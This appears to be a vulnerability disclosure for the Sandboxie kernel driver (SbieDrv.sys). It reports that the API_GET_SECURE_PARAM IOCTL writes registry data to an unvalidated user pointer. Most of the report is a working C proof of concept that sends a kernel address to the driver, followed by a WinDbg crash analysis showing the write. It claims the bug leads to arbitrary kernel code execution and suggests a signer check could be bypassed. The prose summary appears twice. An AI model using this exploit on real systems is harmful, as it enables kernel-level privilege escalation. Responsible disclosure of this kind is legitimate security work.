Summary
API_GET_SECURE_PARAM fails to validate that a pointer passed is safe to write to.
Details
Api_GetSecureParam fails to sanitize incoming pointers, and implicitly trusts that the pointer the user has passed in is safe to write to. GetRegValue then writes the contents of the SBIE registry entry selected to this address. We can simply pass in a kernel pointer and the driver will happily dump the registry key contents we requested to it.
This can be triggered by anyone on the system (except sandboxed processes perhaps?), including low integrity windows processes.
All incoming data needs to be sanitized.
PoC
Compile and run as admin. I can provide a binary if needed. Change addr_to_write to any valid kernel address if you'd like to run this without admin. (i.e. you'd need some form of a kernel address leak).
With the default PoC, you'll get ATTEMPTED_WRITE_TO_READONLY_MEMORY.
Contents of the write can be controlled via simply editing the HKLM/Security/SBIE registry as admin else Api_SetSecureParam can be used to the same effect. Api_SetSecureParam checks that the caller is signed, but I believe this check can be bypassed with some creativity. Need to look more at that in a bit.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <psapi.h>
#include <tchar.h>
#define API_DEVICE_NAME L"\\Device\\SandboxieDriverApi"
#define API_SBIEDRV_CTLCODE 0x222007
#define API_GET_SECURE_PARAM 0x12340047L
#define API_NUM_ARGS 8
typedef struct _API_SECURE_PARAM_ARGS {
ULONG64 func_code;
struct { ULONG64 val; } param_name;
struct { ULONG64 val; } param_data;
struct { ULONG64 val; } param_size;
struct { ULONG64 val; } param_size_out;
struct { ULONG64 val; } param_verify;
} API_SECURE_PARAM_ARGS;
typedef NTSTATUS(NTAPI* PFN_NtOpenFile)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK,
ULONG, ULONG);
typedef NTSTATUS(NTAPI* PFN_NtDeviceIoControlFile)(
HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK,
ULONG, PVOID, ULONG, PVOID, ULONG);
typedef VOID(WINAPI* PFN_RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
void hexdump(const void* data, size_t size) {
const unsigned char* p = (const unsigned char*)data;
for (size_t i = 0; i < size; i += 16) {
printf("%08zx ", i);
for (size_t j = 0; j < 16; ++j)
if (i + j < size) printf("%02x ", p[i + j]);
else printf(" ");
printf(" ");
for (size_t j = 0; j < 16; ++j)
if (i + j < size) {
unsigned char c = p[i + j];
printf("%c", (c >= 32 && c <= 126) ? c : '.');
}
printf("\n");
}
}
void* GetSandboxieBaseAddr(void) {
LPVOID drivers[1024];
DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
DWORD numDrivers = cbNeeded / sizeof(LPVOID);
TCHAR driverName[MAX_PATH];
for (DWORD i = 0; i < numDrivers; i++) {
if (GetDeviceDriverBaseName(drivers[i], driverName, MAX_PATH)) {
if (_tcsicmp(driverName, TEXT("SbieDrv.sys")) == 0)
return drivers[i];
}
}
}
return NULL;
}
NTSTATUS ApiGetSecureParam(
PFN_NtDeviceIoControlFile NtDeviceIoControlFile,
HANDLE hDevice,
const WCHAR* param_name,
void* param_data,
ULONG param_size,
ULONG* param_size_out,
BOOLEAN param_verify
) {
ULONG64 parms[API_NUM_ARGS] = { 0 };
API_SECURE_PARAM_ARGS* args = (API_SECURE_PARAM_ARGS*)parms;
IO_STATUS_BLOCK ioStatus = { 0 };
args->func_code = API_GET_SECURE_PARAM;
args->param_name.val = (ULONG64)(ULONG_PTR)param_name;
args->param_data.val = (ULONG64)(ULONG_PTR)param_data;
args->param_size.val = (ULONG64)param_size;
args->param_size_out.val = (ULONG64)(ULONG_PTR)param_size_out;
args->param_verify.val = (ULONG64)param_verify;
return NtDeviceIoControlFile(
hDevice, NULL, NULL, NULL, &ioStatus,
API_SBIEDRV_CTLCODE, parms, sizeof(parms), NULL, 0);
}
int main(void) {
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) {
printf("Failed to get ntdll handle\n");
return 1;
}
PFN_NtOpenFile NtOpenFile = (PFN_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile");
PFN_NtDeviceIoControlFile NtDeviceIoControlFile = (PFN_NtDeviceIoControlFile)GetProcAddress(ntdll, "NtDeviceIoControlFile");
PFN_RtlInitUnicodeString RtlInitUnicodeString = (PFN_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
if (!NtOpenFile || !NtDeviceIoControlFile || !RtlInitUnicodeString) {
printf("Failed to resolve NT native APIs\n");
return 1;
}
UNICODE_STRING uni;
RtlInitUnicodeString(&uni, API_DEVICE_NAME);
OBJECT_ATTRIBUTES objAttrs;
InitializeObjectAttributes(&objAttrs, &uni, OBJ_CASE_INSENSITIVE, NULL, NULL);
IO_STATUS_BLOCK ioStatus = { 0 };
HANDLE hDevice = NULL;
NTSTATUS status = NtOpenFile(
&hDevice,
FILE_GENERIC_READ | FILE_GENERIC_WRITE,
&objAttrs,
&ioStatus,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
0);
if (status != 0 || hDevice == NULL) {
printf("NtOpenFile failed: 0x%08X\n", status);
return 1;
}
// Get Sandboxie driver base address
void* addr_to_write = GetSandboxieBaseAddr();
printf("Base addr is %p\n", addr_to_write);
// Query secure param
WCHAR param_name[] = L"RandID";
BYTE param_data[64] = { 0 };
ULONG param_size = sizeof(param_data);
ULONG param_size_out = param_size;
BOOLEAN param_verify = FALSE;
status = ApiGetSecureParam(
NtDeviceIoControlFile, hDevice,
param_name, addr_to_write, param_size, ¶m_size_out, param_verify);
if (status != 0) {
printf("ApiGetSecureParam failed: 0x%08X\n", status);
}
else {
printf("ApiGetSecureParam succeeded, param_size_out=%lu\n", param_size_out);
hexdump(param_data, param_size_out);
}
CloseHandle(hDevice);
return 0;
}
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
ATTEMPTED_WRITE_TO_READONLY_MEMORY (be)
An attempt was made to write to readonly memory. The guilty driver is on the
stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name (Unicode string) is printed on
the BugCheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: fffff8061be90000, Virtual address for the attempted write.
Arg2: 890000015bcfd121, PTE contents.
Arg3: fffff50d9d7fe530, (reserved)
Arg4: 000000000000000b, (reserved)
Debugging Details:
------------------
KEY_VALUES_STRING: 1
Key : Analysis.CPU.mSec
Value: 781
Key : Analysis.Elapsed.mSec
Value: 804
Key : Analysis.IO.Other.Mb
Value: 0
Key : Analysis.IO.Read.Mb
Value: 1
Key : Analysis.IO.Write.Mb
Value: 12
Key : Analysis.Init.CPU.mSec
Value: 296
Key : Analysis.Init.Elapsed.mSec
Value: 2819
Key : Analysis.Memory.CommitPeak.Mb
Value: 86
Key : Analysis.Version.DbgEng
Value: 10.0.27793.1000
Key : Analysis.Version.Description
Value: 10.2410.02.02 amd64fre
Key : Analysis.Version.Ext
Value: 1.2410.2.2
Key : Bugcheck.Code.LegacyAPI
Value: 0xbe
Key : Bugcheck.Code.TargetModel
Value: 0xbe
Key : Failure.Bucket
Value: AV_SbieDrv!unknown_function
Key : Failure.Hash
Value: {a446aef4-b966-7073-3bed-f00247e130d7}
Key : Hypervisor.Enlightenments.ValueHex
Value: 0x6090ebf4
Key : Hypervisor.Flags.AnyHypervisorPresent
Value: 1
Key : Hypervisor.Flags.ApicEnlightened
Value: 1
Key : Hypervisor.Flags.ApicVirtualizationAvailable
Value: 0
Key : Hypervisor.Flags.AsyncMemoryHint
Value: 0
Key : Hypervisor.Flags.CoreSchedulerRequested
Value: 0
Key : Hypervisor.Flags.CpuManager
Value: 0
Key : Hypervisor.Flags.DeprecateAutoEoi
Value: 0
Key : Hypervisor.Flags.DynamicCpuDisabled
Value: 1
Key : Hypervisor.Flags.Epf
Value: 0
Key : Hypervisor.Flags.ExtendedProcessorMasks
Value: 1
Key : Hypervisor.Flags.HardwareMbecAvailable
Value: 1
Key : Hypervisor.Flags.MaxBankNumber
Value: 0
Key : Hypervisor.Flags.MemoryZeroingControl
Value: 0
Key : Hypervisor.Flags.NoExtendedRangeFlush
Value: 0
Key : Hypervisor.Flags.NoNonArchCoreSharing
Value: 0
Key : Hypervisor.Flags.Phase0InitDone
Value: 1
Key : Hypervisor.Flags.PowerSchedulerQos
Value: 0
Key : Hypervisor.Flags.RootScheduler
Value: 0
Key : Hypervisor.Flags.SynicAvailable
Value: 1
Key : Hypervisor.Flags.UseQpcBias
Value: 0
Key : Hypervisor.Flags.Value
Value: 659693
Key : Hypervisor.Flags.ValueHex
Value: 0xa10ed
Key : Hypervisor.Flags.VpAssistPage
Value: 1
Key : Hypervisor.Flags.VsmAvailable
Value: 1
Key : Hypervisor.RootFlags.AccessStats
Value: 0
Key : Hypervisor.RootFlags.CrashdumpEnlightened
Value: 0
Key : Hypervisor.RootFlags.CreateVirtualProcessor
Value: 0
Key : Hypervisor.RootFlags.DisableHyperthreading
Value: 0
Key : Hypervisor.RootFlags.HostTimelineSync
Value: 0
Key : Hypervisor.RootFlags.HypervisorDebuggingEnabled
Value: 0
Key : Hypervisor.RootFlags.IsHyperV
Value: 0
Key : Hypervisor.RootFlags.LivedumpEnlightened
Value: 0
Key : Hypervisor.RootFlags.MapDeviceInterrupt
Value: 0
Key : Hypervisor.RootFlags.MceEnlightened
Value: 0
Key : Hypervisor.RootFlags.Nested
Value: 0
Key : Hypervisor.RootFlags.StartLogicalProcessor
Value: 0
Key : Hypervisor.RootFlags.Value
Value: 0
Key : Hypervisor.RootFlags.ValueHex
Value: 0x0
Key : WER.OS.Branch
Value: ge_release
Key : WER.OS.Version
Value: 10.0.26100.1
BUGCHECK_CODE: be
BUGCHECK_P1: fffff8061be90000
BUGCHECK_P2: 890000015bcfd121
BUGCHECK_P3: fffff50d9d7fe530
BUGCHECK_P4: b
FILE_IN_CAB: 041725-2953-01.dmp
VIRTUAL_MACHINE: HyperV
FAULTING_THREAD: ffff9289d148e0c0
BLACKBOXBSD: 1 (!blackboxbsd)
BLACKBOXNTFS: 1 (!blackboxntfs)
BLACKBOXPNP: 1 (!blackboxpnp)
BLACKBOXWINLOGON: 1
CUSTOMER_CRASH_COUNT: 1
PROCESS_NAME: SandboxieVulns.exe
TRAP_FRAME: fffff50d9d7fe530 -- (.trap 0xfffff50d9d7fe530)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff8061be90000 rbx=0000000000000000 rcx=fffff8061be90000
rdx=2213a757cdcb5e91 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8061beba497 rsp=fffff50d9d7fe6c8 rbp=fffff50d9d7ff4e0
r8=0000000000000008 r9=fffff80686a32530 r10=fffff8068702c4c0
r11=2213a757cdcb5e91 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe cy
SbieDrv+0x2a497:
fffff806`1beba497 4c8919 mov qword ptr [rcx],r11 ds:fffff806`1be90000=0000000300905a4d
Resetting default scope
STACK_TEXT:
fffff50d`9d7fe2c8 fffff806`86472e65 : 00000000`000000be fffff806`1be90000 89000001`5bcfd121 fffff50d`9d7fe530 : nt!KeBugCheckEx
fffff50d`9d7fe2d0 fffff806`864913cf : fffff806`1be90000 00000000`00001000 00000000`00000002 fffff806`86200000 : nt!MiSystemFault+0x249
fffff50d`9d7fe3c0 fffff806`8688aacb : ffff9289`d3a35d90 ffff9289`d3a35dc0 ffff9289`cb70c6c8 fffff806`86689e1a : nt!MmAccessFault+0x2ff
fffff50d`9d7fe530 fffff806`1beba497 : fffff806`1beb43a1 00000000`00000002 00000000`00000000 00000000`00000000 : nt!KiPageFault+0x38b
fffff50d`9d7fe6c8 fffff806`1beb43a1 : 00000000`00000002 00000000`00000000 00000000`00000000 ffff9289`cb70c6c8 : SbieDrv+0x2a497
fffff50d`9d7fe6d0 00000000`00000002 : 00000000`00000000 00000000`00000000 ffff9289`cb70c6c8 ffff9289`00000810 : SbieDrv+0x243a1
fffff50d`9d7fe6d8 00000000`00000000 : 00000000`00000000 ffff9289`cb70c6c8 ffff9289`00000810 fffff50d`9d7fefa0 : 0x2
SYMBOL_NAME: SbieDrv+2a497
MODULE_NAME: SbieDrv
IMAGE_NAME: SbieDrv.sys
STACK_COMMAND: .process /r /p 0xffff9289d2b91080; .thread 0xffff9289d148e0c0 ; kb
BUCKET_ID_FUNC_OFFSET: 2a497
FAILURE_BUCKET_ID: AV_SbieDrv!unknown_function
OS_VERSION: 10.0.26100.1
BUILDLAB_STR: ge_release
OSPLATFORM_TYPE: x64
OSNAME: Windows 10
FAILURE_ID_HASH: {a446aef4-b966-7073-3bed-f00247e130d7}
Followup: MachineOwner
---------
Impact
Arbitrary kernel code execution.
Thank you. I have several more of these to file, give me a few.
Summary
API_GET_SECURE_PARAM fails to validate that a pointer passed is safe to write to.
Details
Api_GetSecureParam fails to sanitize incoming pointers, and implicitly trusts that the pointer the user has passed in is safe to write to. GetRegValue then writes the contents of the SBIE registry entry selected to this address. We can simply pass in a kernel pointer and the driver will happily dump the registry key contents we requested to it.
This can be triggered by anyone on the system (except sandboxed processes perhaps?), including low integrity windows processes.
All incoming data needs to be sanitized.
PoC
Compile and run as admin. I can provide a binary if needed. Change addr_to_write to any valid kernel address if you'd like to run this without admin. (i.e. you'd need some form of a kernel address leak).
With the default PoC, you'll get ATTEMPTED_WRITE_TO_READONLY_MEMORY.
Contents of the write can be controlled via simply editing the HKLM/Security/SBIE registry as admin else Api_SetSecureParam can be used to the same effect. Api_SetSecureParam checks that the caller is signed, but I believe this check can be bypassed with some creativity. Need to look more at that in a bit.
Impact
Arbitrary kernel code execution.
Thank you. I have several more of these to file, give me a few.